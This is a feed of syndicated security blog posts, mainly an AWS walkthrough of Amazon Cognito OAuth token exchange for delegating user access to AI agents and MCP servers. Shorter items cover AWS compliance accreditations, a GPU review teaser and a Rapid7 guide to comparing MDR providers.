  • Instance behind a NAT gateway – The firewall inspects the traffic after the NAT gateway translates it and doesn’t translate it again. Your rules and logs see the NAT gateway’s private IP address as the source.
  • Instance with no public IP address in a subnet that routes to the internet gateway – The firewall inspects its traffic, and built-in NAT gives it outbound-only access, which it didn’t have before. To keep resources without a public IP address isolated from the internet, set the subnet’s connectivity type to bidirectional instead. Resources with a public IP address then keep bidirectional connectivity, and resources without one can’t reach the internet.
Figure 12: Day-one source addresses in an existing VPC with Flexible subnets

Figure 12: Day-one source addresses in an existing VPC with Flexible subnets

Later, at your own pace, you can retire each NAT gateway by routing its subnets directly to the internet gateway. Built-in NAT then takes over. The source address changes to one that automated internet firewall mode assigns or one from your IPAM policy pool, so update allow lists that name the NAT gateway’s address first. Your logs then show each workload’s private IP address. If you inspect inbound or outbound internet traffic today with Network Firewall endpoints, automated internet firewall mode can take over that inspection. After you confirm that your new policy covers the same rules, you can remove the endpoints and routes that you use for internet traffic. For each architecture, see Working with existing architectures.

Availability and pricing

Automated internet firewall mode (Preview) is available in all AWS commercial Regions. For pricing, see AWS Network Firewall pricing. During the preview, some features and instance types aren’t supported. For the list, see Automated internet firewall. Features, service quotas, and console labels can change during the preview. Your use of the preview is subject to the Betas and Previews section of the AWS Service Terms.

Conclusion

In this post, we showed you how automated internet firewall mode applies Network Firewall inspection and built-in NAT at the internet gateway of your VPCs. You define and control policies centrally in Network Security Manager. It is designed so that VPC owners without the proper privileges can’t route around it, and your policy applies to new VPCs in scope when teams create them. To learn more, see Automated internet firewall in the Network Firewall Developer Guide.

If you have questions about this post, contact AWS Support or start a new thread on AWS re:Post.


Lawton Pittenger

Lawton Pittenger

Lawton is a Worldwide Security Specialist Solutions Architect at AWS, based in New York City. He helps customers design and implement effective network security controls, and works with AWS service teams to improve security services based on customer feedback. Outside of work, he enjoys skateboarding, snowboarding, and spending time in nature.

Akshay Choudhry

Akshay Choudhry

Akshay is a Principal Product Manager in the Networking and Security Services Team at Amazon Web Services. He’s focused on making virtual private clouds more intuitive and secure for the millions of customers running their workloads on AWS. In his free time, he enjoys exploring the outdoors, trying out new restaurants, and spending time with friends and family.

Delegate user access to AI agents with Amazon Cognito token exchange

Post Syndicated from Edward Sun original https://aws.amazon.com/blogs/security/delegate-user-access-to-ai-agents-with-amazon-cognito-token-exchange/

Suppose you use a restaurant review app to check reviews, book tables, and email invitations to your friends. With OAuth 2.0, the app sends you to the authorization server that your email provider trusts, where you sign in and approve only the access the app requested, such as the contacts.read and messages.send scopes. The review app won’t sees your credentials. It only receives a short-lived access token limited to the scopes you approved, which it presents to your email provider’s API to read your contacts and send invitation emails on your behalf.

That works while the app calls the email API directly, but many requests take a second hop to call downstream services. When you book a table, the app calls its reservation service with your token to email details to your friends, which token should the reservation service use to call the email API? Forwarding the access token issued to the review app hides the reservation service because the email API thinks the app sent the request. Using the reservation service’s own token from an OAuth 2.0 client credentials grant loses user identity, because the email API knows which service called, but not for which user. Figure 1 shows this second hop.

Figure 1: The reservation service calling the email API for a signed-in user

Figure 1: The reservation service calling the email API for a signed-in user

OAuth 2.0 Token Exchange, defined in RFC 8693, handles this second hop. Instead of forwarding your access token, the reservation service goes back to the authorization server with two things: your access token, which shows what you consented for, and its own credentials, which show who it is. The authorization server returns a new token for the email API, called issued token, which identifies the user, can also name the reservation service, and carries the same scopes or fewer.

AI agents make this second hop more common and more important, for example when the review app adds an AI agent that reserves tables and invites friends for you. The agent picks its tools at run time, such as a Model Context Protocol (MCP) server that sends invitations, and those tools call APIs for you. With token exchange, each hop gets only the scopes it needs, and the email API can see which service acted for you.

In this post, we show you how to use the new OAuth token exchange feature in Amazon Cognito when services and AI agents call your APIs on behalf of users, and Cognito serves as the OAuth 2.0 authorization server. We explain the difference between impersonation and delegation, and show you examples of how the feature works with an MCP server and Amazon Bedrock AgentCore Identity.

How token exchange works in Amazon Cognito

Every token exchange starts with a subject token that represents the user. In Amazon Cognito, the subject token can be an access token or ID token that your user pool issued to the app where the user signed in. The calling service sends the subject token to Cognito, and Cognito returns a new token for that service to use at the downstream resource server.

Token exchange distinguishes two patterns, impersonation and delegation. The calling service chooses which pattern to use based on whether the downstream API needs to authorize the service that’s acting on behalf of the user:

  • Impersonation – The calling service doesn’t identify itself as the actor. The issued token represents the user. Its client_id claim identifies the app client that performed the exchange, but it doesn’t have an act (actor) claim to show a service is acting for the user.
  • Delegation – The calling service identifies itself as the actor by also sending an actor token. Amazon Cognito adds an act claim that names the calling service, so the resource server can see and log who authorized the action and who carried it out.

Impersonation fits when the calling service only relays the user’s request and makes no decisions of its own, such as a backend for frontend (BFF) that forwards requests from a web app to your APIs. It also fits where a downstream API authorizes the user alone and doesn’t need to know which service relayed the call.

For AI agents, delegation is the important pattern. If the agent used a token of its own, the record would show that an agent called the resource server, but not for whom. With impersonation, the record shows the user but not the agent acting for them. You need delegation to see both for proper authorization and audit trails.

Figure 2: Delegated access across two service hops

Figure 2: Delegated access across two service hops

Figure 2 shows the flow for delegated access between services:

  1. The user signs in to your app through Amazon Cognito.
  2. Cognito issues the user’s access token to the client application.
  3. The client calls the downstream service, such as an MCP server, with the user’s access token.
  4. The service calls the Cognito /oauth2/token endpoint and authenticates with its own app client. It sends the user’s access token as the subject token and names the resource server as the audience. For delegation, it also sends its own token as the actor token.
  5. Cognito validates the request and returns an issued token. The issued token still identifies the user in sub. For delegation, it also identifies the service in the act claim.
  6. The service calls the resource server, such as an email API, with the issued token.
  7. The resource server checks that the token’s aud claim names itself, then authorizes the request for the user and returns the user’s data to the service.
  8. The calling service returns the result to the client.

In addition to requesting a token exchange at the /oauth2/token endpoint on your user pool’s domain, you can call the GetDerivedToken API with an AWS SDK, which doesn’t require a user pool domain. Both accept the same subject token, actor token, audience and scopes, and return an issued token with the same claims.

Here’s an example issued token from a delegation token exchange. The token keeps user’s identity in sub and names the calling service in the act claim.

{
  "iss": "https://cognito-idp.us-east-1.amazonaws.com/us-east-1_EXAMPLE",
  "sub": "c4b82478-5678-90ab-cdef-EXAMPLE11111",
  "username": "[email protected]",
  "client_id": "invitations-mcp-client-id",
  "version": 2,
  "token_use": "access",
  "scope": "email-api/messages.send",
  "aud": "email-api",
  "act": {
    "sub": "invitations-mcp-client-id",
    "client_id": "invitations-mcp-client-id",
    "iss": "https://cognito-idp.us-east-1.amazonaws.com/us-east-1_EXAMPLE",
    "token_type": "urn:ietf:params:oauth:token-type:access_token"
  },
  "exp": 1735689600,
  "iat": 1735686000
}

The email API authorizes the user identified by sub, and act tells it which service is acting for that user. It can then decide whether it trusts that service, and its logs can show both the user and the service for each request. Accept a delegated token only when act.client_id reflects a service you trust, such as the invitations MCP server, and matches the token’s client_id meaning the trusted service requested the token itself.

Security controls during an exchange

Amazon Cognito checks every exchange before it issues a token. It validates the subject token’s signature and expiry, and refuses a token that has been revoked or that belongs to a disabled user in your user pool. If the request includes an audience, the issued token is bound to that resource server, and every requested scope must belong to it. The issued token carries only scopes that both the subject token and the app client allow, so an exchange can narrow your access but doesn’t add to it. It also doesn’t outlive the subject token, and the exchange doesn’t return a refresh token.

For the full list of checks, see Security model in Exchanging tokens for downstream services in the Amazon Cognito Developer Guide. Checks by Cognito don’t replace the resource server’s own: it should still verify the JWT tokens, including signature, issuer, expiry, audience and scopes, and for delegated requests, it should validate the act claim.

Your user pool might have a pre token generation AWS Lambda trigger, which can add or suppress custom claims and scopes in your user pool’s tokens. Amazon Cognito also invokes this trigger during token exchange, with the trigger source TokenGeneration_TokenExchange. However, Cognito doesn’t add any scopes that the trigger returns for an exchange, so the calling service can’t gain more permissions than the user’s token already has. You can still use the trigger to remove scopes from the issued token. For more information, see Customize the exchanged token with a Lambda trigger.

Enable token exchange in your Amazon Cognito user pool

Token exchange is an OAuth 2.0 grant, and you can enable it for each application client as an authentication flow in your Amazon Cognito user pool. Check the prerequisites in the Amazon Cognito Developer Guide.

To enable token exchange for an app client:

  1. Open the AWS Management Console for Amazon Cognito, and choose your Cognito user pool.
  2. In the navigation pane, under Applications section, choose App clients, and then choose your app client.
  3. In App client information, choose Edit.
    Figure 3: Cognito token exchange app client

    Figure 3: Cognito token exchange app client

  4. On the Edit app client information page, under Authentication flows, go to Exchange OAuth 2 token for delegation and impersonation and select the following:
    1. For delegation, select ALLOW_TOKEN_EXCHANGE_DELEGATION.
    2. For impersonation, select ALLOW_TOKEN_EXCHANGE_IMPERSONATION.
    Figure 4: Amazon Cognito token exchange authentication flows

    Figure 4: Amazon Cognito token exchange authentication flows

  5. Choose Save changes.

Example token exchange use cases for agentic workload delegation

Now that you’ve enabled token exchange, we show you two examples of how it works in an agentic workload. Both continue the review app story: its AI agent sends invitations for you by calling the email API, and the email API needs to know who you are and which component acted for you.

The two examples differ in where the exchange happens. Amazon Cognito fills the act claim from the actor token, so act names whichever component sends its own actor token in the exchange. In Example 1, a shared intermediary—such as an MCP server or an AI gateway—performs the exchange for every agent that calls it, so act names the intermediary. In Example 2, the agent requests the exchange itself, so act names the agent.

Example 1: A shared intermediary as the actor

In this example, the intermediary sits in front of the email API. We show it two ways: an MCP server you build that performs the exchange in its own code, and an AI gateway in Amazon Bedrock AgentCore Gateway that performs it through configuration.

Using your own MCP server:

The MCP authorization specification doesn’t allow an MCP server to pass along the token it received from the MCP client. To call the email API for you, the invitations MCP server needs a token of its own. It uses its own app client in your user pool to perform a delegation token exchange.

Figure 5 shows how the invitations MCP server sends invites for you.

Figure 5: The invitations MCP server sending invites for a signed-in user

Figure 5: The invitations MCP server sending invites for a signed-in user

  1. The user signs in to the review app through Amazon Cognito.
  2. The review app’s AI agent calls the send_invites tool on the invitations MCP server with the user’s access token.
    {
      "sub": "c4b82478-...",
      "username": "[email protected]",
      "client_id": "<review app client ID>",
      "scope": "openid invitations-mcp/tools email-api/contacts.read email-api/messages.send",
      "token_use": "access",
      "iss": "https://cognito-idp.us-east-1.amazonaws.com/<user-pool-id>"
    }

  3. The MCP server authorizes the inbound request by checking the token’s client_id and the invitations-mcp/tools scope, then gets its own actor token with its client ID and secret in an OAuth 2.0 client credentials grant flow.
  4. The MCP server sends the user’s token as subject token and its actor token to the Cognito /oauth2/token endpoint in a delegation token exchange. It requests only email-api/messages.send, because sending invites doesn’t require reading your contacts.
    curl -X POST "https://<domain>.auth.us-east-1.amazoncognito.com/oauth2/token" \
      -u "$MCP_SERVER_CLIENT_ID:$MCP_SERVER_CLIENT_SECRET" \
      -d grant_type=urn:ietf:params:oauth:grant-type:token-exchange \
      --data-urlencode "subject_token=$YOUR_TOKEN" \
      -d subject_token_type=urn:ietf:params:oauth:token-type:access_token \
      --data-urlencode "actor_token=$ACTOR_TOKEN" \
      -d actor_token_type=urn:ietf:params:oauth:token-type:access_token \
      -d audience=email-api \
      -d scope=email-api/messages.send

  5. Cognito validates both tokens and returns the issued token, while keeping the user in sub claim and adding the MCP server’s app client to act claim.
    {
      "sub": "c4b82478-...",
      "username": "[email protected]",
      "client_id": "<MCP server app client ID>",
      "aud": "email-api",
      "scope": "email-api/messages.send",
      "act": {
        "sub": "<MCP server app client ID>",
        "client_id": "<MCP server app client ID>",
        "iss": "https://cognito-idp.us-east-1.amazonaws.com/<user-pool-id>",
        "token_type": "urn:ietf:params:oauth:token-type:access_token"
      },
      "token_use": "access"
    }

  6. The MCP server calls the email API with the issued token. The email API checks aud=email-api and the messages.send scope, and it confirms that act.client_id matches client_id and names an MCP server it trusts. It then sends the invites from your account and records that the invitations MCP server sent them for you.

To set up the MCP server:

  1. In Amazon Cognito user pool, register the email API (email-api) and the MCP server (invitations-mcp) as resource servers in your user pool, with the scopes used.
  2. Create an app client with a client secret for the MCP server in your user pool. Select ALLOW_TOKEN_EXCHANGE_DELEGATION in authentication flows, allow the client credentials grant so the MCP server can get its actor token, and allow the email-api/messages.send scope that it requests in the exchange.
  3. Have the review app request email-api/messages.send when you sign in, along with invitations-mcp/tools. The exchange can remove scopes from your token, but it can’t add any.

Other AI agents can also sign you in through Amazon Cognito and call the invitations MCP server. They can register with your user pool through dynamic client registration (DCR), or identify themselves with a client ID metadata document (CIMD). Token exchange works the same way for these clients. They send your access token to the MCP server, and the MCP server performs the exchange with its own app client, so the issued token names you in sub and the MCP server in act.

Using AgentCore Gateway:

If you don’t want to write the exchange in your MCP server, AgentCore Gateway can perform it for you. Amazon Bedrock AgentCore Identity can perform the same token exchange on behalf of AgentCore Gateway, so the gateway doesn’t store the OAuth client secret or build the request.

Here, AgentCore Gateway replaces the invitations MCP server. It exposes the email API as an MCP tool through an OpenAPI target, and the review app’s AI agent calls that tool with your access token.

Figure 6 shows how AgentCore Gateway sends invites for you.

Figure 6: AgentCore Gateway sending invites through AgentCore Identity

Figure 6: AgentCore Gateway sending invites through AgentCore Identity

  1. The agent calls the AgentCore Gateway invite tool with user’s access token. The AgentCore Gateway inbound JWT authorizer validates the token against your user pool and accepts only tokens issued to the review app.
  2. AgentCore Gateway passes user’s access token to AgentCore Identity and asks for a token for the email API target.
  3. AgentCore Identity uses the AgentCore Gateway app client in a client credentials grant to get an actor token.
  4. AgentCore Identity sends your token and the actor token in a delegation token exchange, adding the subject_token_type and audience values from the target’s custom parameters.
  5. Amazon Cognito validates the request and returns the issued token, with the user in sub, and the AgentCore Gateway app client in act.
  6. AgentCore Identity passes the issued token to AgentCore Gateway.
  7. AgentCore Gateway calls the email API with the issued token, and the email API applies the same checks as for the preceding MCP server setup.

To set up AgentCore Gateway:

  1. In your Amazon Cognito user pool, create an app client for AgentCore Gateway in the same way as for the MCP server.
  2. In AgentCore Identity, create an AgentCore Identity credential provider for the AgentCore Gateway app client. A credential provider stores what AgentCore Identity needs to request tokens from Amazon Cognito: your user pool’s discovery URL and the app client’s ID and secret. Use the CustomOauth2 provider type, and enable delegation in its customOauth2ProviderConfig settings:
    {
      "oauthDiscovery": { "discoveryUrl": "https://cognito-idp.us-east-1.amazonaws.com/<user-pool-id>/.well-known/openid-configuration" },
      "clientId": "<Gateway app client ID>",
      "clientSecret": "<client secret>",
      "clientAuthenticationMethod": "CLIENT_SECRET_BASIC",
      "onBehalfOfTokenExchangeConfig": {
        "grantType": "TOKEN_EXCHANGE",
        "tokenExchangeGrantTypeConfig": { "actorTokenContent": "M2M" }
      }
    }

  3. In AgentCore Gateway, configure the AgentCore Gateway inbound JWT authorizer with your user pool’s discovery URL, and set allowedClients to the review app’s client ID.
  4. In the AgentCore Gateway target’s outbound authorization, reference the credential provider and add subject_token_type and audience as custom parameters. Because your token is an access token, set subject_token_type to urn:ietf:params:oauth:token-type:access_token.
    {
      "providerArn": "arn:aws:bedrock-agentcore:us-east-1:<account-id>:token-vault/default/oauth2credentialprovider/cognito",
      "scopes": ["email-api/messages.send"],
      "grantType": "TOKEN_EXCHANGE",
      "customParameters": {
        "subject_token_type": "urn:ietf:params:oauth:token-type:access_token",
        "audience": "email-api"
      }
    }

AgentCore Gateway handles the exchange through configuration, so you don’t need to write agent or interceptor code for it. For more information, see Set up outbound authorization for your gateway.

With either your own MCP server or an AI gateway, act names the intermediary rather than the agent that called it. Every agent behind it appears as the same app client. This design still protects the email API. It accepts only tokens with aud=email-api, and your original access token has no such audience, so an agent can’t bypass the intermediary by forwarding your token. Each call that reaches the email API carries a token with only the scope it needs. The agents don’t hold downstream credentials or exchange logic, and the email API trusts one intermediary instead of every agent. If the email API needs to tell agents apart, perform the exchange in the agent, as Example 2 shows.

Example 2: The agent as the actor on AgentCore Runtime

If the review app’s AI agent runs on Amazon Bedrock AgentCore Runtime, the agent can request the exchange itself through AgentCore Identity and call the email API directly. The issued token then names the agent in act, so the email API knows which agent sent the invites.

Figure 7 shows how the agent sends invites for you.

Figure 7: The AI agent on AgentCore Runtime sending invites through AgentCore Identity

Figure 7: The AI agent on AgentCore Runtime sending invites through AgentCore Identity

  1. The review app invokes the agent on AgentCore Runtime with the user’s access token.
  2. Runtime validates your token with its inbound JWT authorizer, exchanges it for a workload access token from AgentCore Identity, and passes that token to the agent. A workload access token is an opaque token that proves which agent is calling. It carries the user’s access token, which AgentCore Identity uses as the subject token in step 4.
  3. The agent asks AgentCore Identity for a token for the email API by calling GetResourceOauth2Token with the workload access token.
  4. AgentCore Identity gets an actor token with the agent’s app client, then sends user’s token and the actor token to Cognito in a delegation token exchange.
  5. Amazon Cognito returns the issued token, with user in sub and the agent’s app client in act, and AgentCore Identity passes it to the agent.
  6. The agent calls the email API with the issued token. The email API applies the same checks as in Example 1, and confirms that act.client_id names an agent it trusts.

The issued token has the same shape as in Example 1, but client_id and act name the agent’s app client.

To set up the agent:

  1. In your Amazon Cognito user pool, create an app client for the agent in your user pool and select ALLOW_TOKEN_EXCHANGE_DELEGATION for it. To tell agents apart in act claim, give each agent its own app client and credential provider.
  2. In AgentCore Identity, create a credential provider for the agent’s app client in the same way as for AgentCore Gateway.
  3. In AgentCore Runtime, configure the inbound JWT authorizer on AgentCore Runtime to accept your user pool’s tokens, with allowedClients set to the review app’s client ID.
  4. In the agent’s code, request the issued token with the AgentCore SDK:
    from bedrock_agentcore.identity.auth import requires_access_token
    
    @requires_access_token(
        provider_name="<Agent name>",
        scopes=["email-api/messages.send"],
        audiences=["email-api"],
        auth_flow="ON_BEHALF_OF_TOKEN_EXCHANGE",
        custom_parameters={
            "subject_token_type": "urn:ietf:params:oauth:token-type:access_token"
        },
    )
    async def send_invites(friends: list[str], *, access_token: str):
        # Call the email API with access_token
        ...

The decorator makes the GetResourceOauth2Token call in step 3 of Figure 7 and passes the issued token to your function as access_token.

For more information, see On-behalf-of token exchange with AgentCore Identity.

Conclusion

Think back to the agent at the start of this post. The agent had to book a table and send invitations for you, and forwarding the user’s original access token would have hidden which service acted for you and given it more access than the job needed. With Amazon Cognito token exchange, each hop gets its own scoped-down token, bound to the resource server it calls and limited to the scopes it needs. Each issued token also expires no later than your own token and doesn’t come with a refresh token, so no service can keep access after your token expires.

For AI agents, delegation adds a second identity to the token. The act claim names the service doing the work, so a downstream API can choose which agents it trusts. Your audit records can then show both the person who authorized a request and the agent that made it.

You can try this on a new or existing Amazon Cognito user pool on the Essentials or Plus plan. Enable ALLOW_TOKEN_EXCHANGE_DELEGATION for an app client, register the downstream API as a resource server, and call GetDerivedToken or the token endpoint.

If you have questions about this post, contact AWS Support or start a new thread on AWS re:Post.


Edward Sun

Edward Sun

Edward is a Senior Security Specialist Solutions Architect focused on identity and access management. He loves helping customers throughout their cloud transformation journey with architecture design, security best practices, migration, and cost optimizations. Outside of work, Edward enjoys hiking, golfing, and cheering for his alma mater, the Georgia Bulldogs.

Owen Hawkins

Owen is a Principal Solutions Architect at Amazon Web Services, working with independent software vendors in the UK. Building on more than 20 years in information security and digital banking, he now spends his time on agent identity and on helping engineering organizations improve their software development lifecycle with AI-driven approaches.

Varun Sharma

Varun is a Senior AWS Cloud Security Engineer who wears his security cape proudly. With a knack for unravelling the mysteries of Amazon Cognito and IAM, Varun is a go-to subject matter expert for these services. When he’s not busy securing the cloud, you’ll find him in the world of security penetration testing. And when the pixels are at rest, Varun switches gears to capture the beauty of nature through the lens of his camera.

AWS completed its second ISO/IEC 42001:2023 surveillance audit

Post Syndicated from Basit Janjua original https://aws.amazon.com/blogs/security/aws-completed-its-second-iso-iec-420012023-surveillance-audit/

In November 2024, Amazon Web Services (AWS) was the first major cloud service provider to announce the ISO/IEC 42001 accredited certification for AI services, covering Amazon Bedrock, Amazon Q Business, Amazon Textract, and Amazon Transcribe.

In November 2026, AWS successfully completed its second surveillance audit for ISO 42001:2023, Artificial Intelligence Management System (AIMS), with no findings and added AWS DevOps Agent as a new service now covered under its ISO 42001:2023 certification program.

This demonstrates the continuous commitment by AWS to responsible AI practices. With this independent validation, our customers can gain assurances on our commitment to responsible AI that enables customers to build and operate AI applications responsibly using AWS services.

For a full list of AWS services that are certified under ISO and CSA STAR, see the AWS ISO and CSA STAR Certified page. Customers can also access the certifications through the AWS Management Console for AWS Artifact.

If you have questions about this post, contact AWS Support or start a new thread on AWS re:Post.


Basit Janjua

Basit Janjua

Basit is a Senior Security Industry Specialist at AWS. He leads the AWS assurance delivery strategy for security assurance audits and engagements across the globe. Basit has nearly 20 years of experience in information security engineering and assurance. He holds a Bachelor’s degree in Computer Science and a Master’s degree in Telecommunications, along with professional certifications including CISSP and CCSP.

Shalini Mishra

Shalini Mishra

Shalini is a Compliance Program Manager at AWS. She has over 5 years of experience leading end-to-end compliance programs across ISO, SOC, and cloud security frameworks, with deep expertise in third-party risk management and enterprise governance, driving measurable improvements in security posture and audit readiness. Shalini holds a Master of Science degree in Information Systems, CRISC and ISO 27001 lead auditor certification.

AWS achieves Spain’s national Limited Distribution (Difusión Limitada) and NATO Restricted accreditation in the AWS Europe (Spain) Region

Post Syndicated from Borja Larrumbide original https://aws.amazon.com/blogs/security/aws-achieves-spains-national-limited-distribution-difusion-limitada-and-nato-restricted-accreditation-in-the-aws-europe-spain-region/

Spanish version »

Amazon Web Services (AWS) is pleased to announce that AWS has achieved Spain’s national Limited Distribution (“Difusión Limitada”) and NATO Restricted accreditation for the AWS Europe (Spain) Region. The Difusión Limitada and NATO Restricted accreditation was granted by the Spanish Delegated Authority for the Security of Classified Information, the Secretary of State Director of Spain’s Centro Nacional de Inteligencia (CNI). The Centro Criptológico Nacional (CCN) and the Oficina Nacional de Seguridad (ONS) are working bodies of the CNI, which audited AWS against the CCN-STIC-004 policy and the applicable ONS requirements.

With this milestone, AWS becomes the first cloud provider to be accredited under NATO Restricted level, and the first to be accredited for Difusión Limitada in the AWS Europe (Spain) Region. In Spain, this was a double achievement: AWS first met the national Difusión Limitada requirements and then, in addition to this national methodology, achieved the NATO Restricted accreditation by incorporating the requirements of NATO Directive 32. This demonstrates our continued commitment to helping the public sector, defense, and NATO-affiliated customers run sensitive workloads in the cloud while meeting the highest applicable national and international security requirements.

What this covers

The Difusión Limitada and NATO Restricted accreditation by the CNI confirms that the AWS system in the AWS Europe (Spain) Region meets the procedural and security requirements for handling classified information up to the Difusión Limitada and NATO Restricted level.

What is Spain’s classified information framework?

Spain’s framework for protecting national classified information is administered by the ONS and the CCN, under the CNI. In 2026, Spain established the framework that enables handling of Difusión Limitada information in the commercial public cloud, under which this accreditation was granted. The accreditation builds on the AWS ENS High certification and the CCN’s IT Product and Service Catalogue (CPSTIC) qualifications. The scope of the accreditation covers the CPSTIC-qualified services and all AWS services certified under ENS High (see the list of AWS services in scope for ENS High). Only the services within this scope that are qualified or certified under the CCN framework (CPSTIC and ENS High) and run in the AWS Europe (Spain) Region can be used for Difusión Limitada and NATO Restricted workloads.

What is NATO Restricted?

NATO Directive 32 establishes the security requirements for handling NATO Restricted information in public cloud, and is the directive referenced by Spain’s CCN-STIC-004 policy.

Why this matters to customers

Public sector and defense organizations in Spain can use the AWS Europe (Spain) Region for national Difusión Limitada classified workloads and for NATO Restricted workloads. Under the shared responsibility model, customers that want to process classified information in the AWS Europe (Spain) Region engage the CCN and ONS to accredit their own systems, building on the AWS accreditation.

How to get started

National security and defense customers may build on the AWS Trusted Secure Enclave, Sensitive Edition (TSE-SE) to design a cloud architecture for their sensitive workloads. Accreditation documentation is available to eligible customers through AWS Artifact. Customers can also work with their AWS account teams to understand how the Difusión Limitada and NATO Restricted accreditation, and TSE-SE apply to their use cases.

To learn more about AWS compliance in Spain, see the AWS ENS compliance page and the AWS Compliance Programs page.

For more details see AWS NATO Restricted and Difusión Limitada for AWS Europe (Spain) Region web page
 


Spanish version

AWS obtiene la acreditación Difusión Limitada y NATO Restricted en la Región AWS Europa (España)

Amazon Web Services (AWS) se complace en anunciar que ha obtenido la acreditación nacional de España “Difusión Limitada” y la acreditación NATO Restricted para la Región AWS Europa (España). La acreditación Difusión Limitada y NATO Restricted ha sido concedida por la Autoridad Delegada para la Seguridad de la Información Clasificada de España, la Secretaria de Estado Directora del Centro Nacional de Inteligencia (CNI). El Centro Criptológico Nacional (CCN), y la Oficina Nacional de Seguridad (ONS), son órganos de trabajo del CNI, que auditaron a AWS conforme a la política CCN-STIC-004 y a los requisitos aplicables de la ONS.

Con este hito, AWS se convierte en el primer proveedor cloud acreditado en el nivel NATO Restricted, y en el primero acreditado para Difusión Limitada en la Región AWS Europa (España). En España ha sido un doble logro: AWS cumplió primero los requisitos nacionales de Difusión Limitada y, sobre esta metodología nacional, obtuvo la acreditación NATO Restricted incorporando los requisitos de la Directiva 32 de la OTAN. Esto demuestra nuestro compromiso continuo de ayudar al sector público, a la defensa y a los clientes vinculados a la OTAN a ejecutar cargas de trabajo sensibles en la nube cumpliendo los requisitos de seguridad nacionales e internacionales más exigentes aplicables.

Qué abarca

La acreditación Difusión Limitada y NATO Restricted del CNI confirma que el sistema de AWS en la Región AWS Europa (España) cumple los requisitos procedimentales y de seguridad para tratar información clasificada hasta el nivel Difusión Limitada y NATO Restricted.

¿Cuál es el marco español de información clasificada?

El marco español de protección de la información clasificada nacional lo administran la ONS y el CCN, bajo el CNI. En 2026, España estableció el marco que permite tratar información Difusión Limitada en la nube pública comercial, en virtud del cual se ha concedido esta acreditación. La acreditación se basa en la certificación ENS categoría Alta de AWS y en las cualificaciones del Catálogo de Productos y Servicios de Seguridad TIC (CPSTIC) del CCN. El alcance de la acreditación incluye los servicios cualificados en CPSTIC y todos los servicios de AWS certificados en el ENS categoría Alta (consulte la lista de servicios de AWS en el alcance del ENS categoría Alta). Solo pueden utilizarse para cargas de trabajo Difusión Limitada y NATO Restricted los servicios de este alcance cualificados o certificados en el marco del CCN (CPSTIC y ENS categoría Alta) que se ejecuten en la Región AWS Europa (España).

¿Qué es NATO Restricted?

La Directiva 32 de la OTAN establece los requisitos de seguridad para tratar información NATO Restricted en la nube pública, y es la directiva a la que hace referencia la política española CCN-STIC-004.

Por qué es importante para los clientes

Las organizaciones del sector público y de defensa en España pueden utilizar la Región AWS Europa (España) para cargas de trabajo clasificadas nacionales Difusión Limitada, así como para cargas de trabajo NATO Restricted. Conforme al modelo de responsabilidad compartida, los clientes que quieran tratar información clasificada en la Región AWS Europa (España) deben dirigirse al CCN y a la ONS para acreditar sus propios sistemas, apoyándose en la acreditación de AWS.

Cómo empezar

Los clientes de seguridad nacional y defensa pueden apoyarse en AWS Trusted Secure Enclave, Sensitive Edition (TSE-SE) para diseñar una arquitectura cloud para sus cargas de trabajo sensibles. La documentación de la acreditación está disponible para los clientes elegibles a través de AWS Artifact. Los clientes también pueden trabajar con sus equipos de cuenta de AWS para entender cómo se aplican a sus casos de uso la acreditación Difusión Limitada y NATO Restricted y TSE-SE.

Para más información sobre el cumplimiento de AWS en España, consulte la página de cumplimiento ENS de AWS y la página de Programas de cumplimiento de AWS.

Para más detalles, consulte la página web de AWS sobre NATO Restricted y Difusión Limitada para la Región AWS Europa (España)

If you have feedback about this post, submit comments in the Comments section below. If you have questions about this post, contact AWS Support.


Borja Larrumbide

Borja Larrumbide

Borja is a Security Assurance Manager for AWS in Iberia. He has a bachelor’s degree in computer science from Boston University (USA) and has worked in companies such as Microsoft and BBVA in different roles and sectors. Borja is a seasoned security assurance practitioner with many years of experience engaging key stakeholders at national and international levels. His areas of interest include security, privacy, risk management, and compliance.

ASUS Turbo Radeon AI PRO R9700 Review

Post Syndicated from Ryan Smith original https://www.servethehome.com/asus-turbo-radeon-pro-ai-r9700-review/

Today we are taking a look at ASUS’s high-end Radeon AI inference card for workstations, the Turbo Radeon AI Pro R9700. With 32GB of RAM and a $2000 price tag, the card is a highly affordable way to fill out a workstation for local AI inference

The post ASUS Turbo Radeon AI PRO R9700 Review appeared first on ServeTheHome.

How to compare MDR providers when every proposal looks promising

Post Syndicated from Rapid7 original https://www.rapid7.com/blog/post/dr-comparing-mdr-providers-scorecard

Choosing a managed detection and response (MDR) provider means committing budget, connecting systems, and trusting another team to act when your organization is under pressure. Yet a proposal promising 24×7 coverage, expert analysts, and fast response can leave important questions unanswered. Which systems will actually be monitored? What will analysts investigate before contacting you? What happens when an incident needs more work?

Before choosing a provider or renewing your current agreement, ask for evidence of how the service operates. Rapid7’s MDR Evaluation Scorecard gives you 18 checks to structure that conversation and record what still needs proving.

Start with one investigation

Ask a provider to walk you through a completed investigation, using an anonymized example where necessary. Follow the initial signal through the evidence considered, the analyst’s decision, and any response actions.

Suppose suspicious activity involves an account with access to a critical business system. Can the provider show how the account’s permissions, the systems within reach, and known weaknesses influenced its investigation? Can it explain what it ruled out and why it escalated or contained the activity?

This exercise helps you assess whether exposure context, intelligence, and customer telemetry work together. It also makes the division of work visible: what the provider investigated, what it decided, and what your team had to do next.

Compare the service you would actually receive

Use the same requirements for every provider, including your incumbent. Confirm the proposed service tier, supported integrations, response responsibilities, and total costs before comparing scores.

Be specific about incident response. Establish who handles containment, forensics, eradication, and mitigation, which actions require your approval, and whether additional work changes the bill. A demonstration should be supported by written commitments about the service you would receive.

Rapid7 MDR includes unlimited incident response, giving customers direct access to senior responders for digital forensics, eradication, and mitigation. When evaluating that commitment, ask us to explain the activities covered, how containment and remediation are coordinated, and which decisions remain with your team.

Apply the same scrutiny to intelligence. Ask for an example showing how an emerging threat led to detection updates, hunting activity, or customer guidance. Rapid7’s emerging-threat response process connects research, detection engineering, product, and communications. The useful evaluation question is how that process changes the protection and advice customers receive.

Look for improvement you can trace

A detailed investigation record helps you understand what happened. Your next question should be what changed afterward.

Look for recommendations that led to stronger controls, better detections, or closed coverage gaps. Ask how the provider reviews completed actions and recurring problems with your team. When comparing reporting, check whether you can trace those improvements alongside investigation volumes and response measures.

Turn the answers into a decision

The scorecard covers six areas: exposure-aware detection, intelligence, response ownership and cost, transparency, team expertise, and integration. Rate each capability against evidence, then record limitations, outstanding questions, and follow-up owners.

The total helps organize your comparison, but essential requirements deserve individual attention. A strong overall score cannot compensate for a response capability your organization needs and the proposed service excludes.

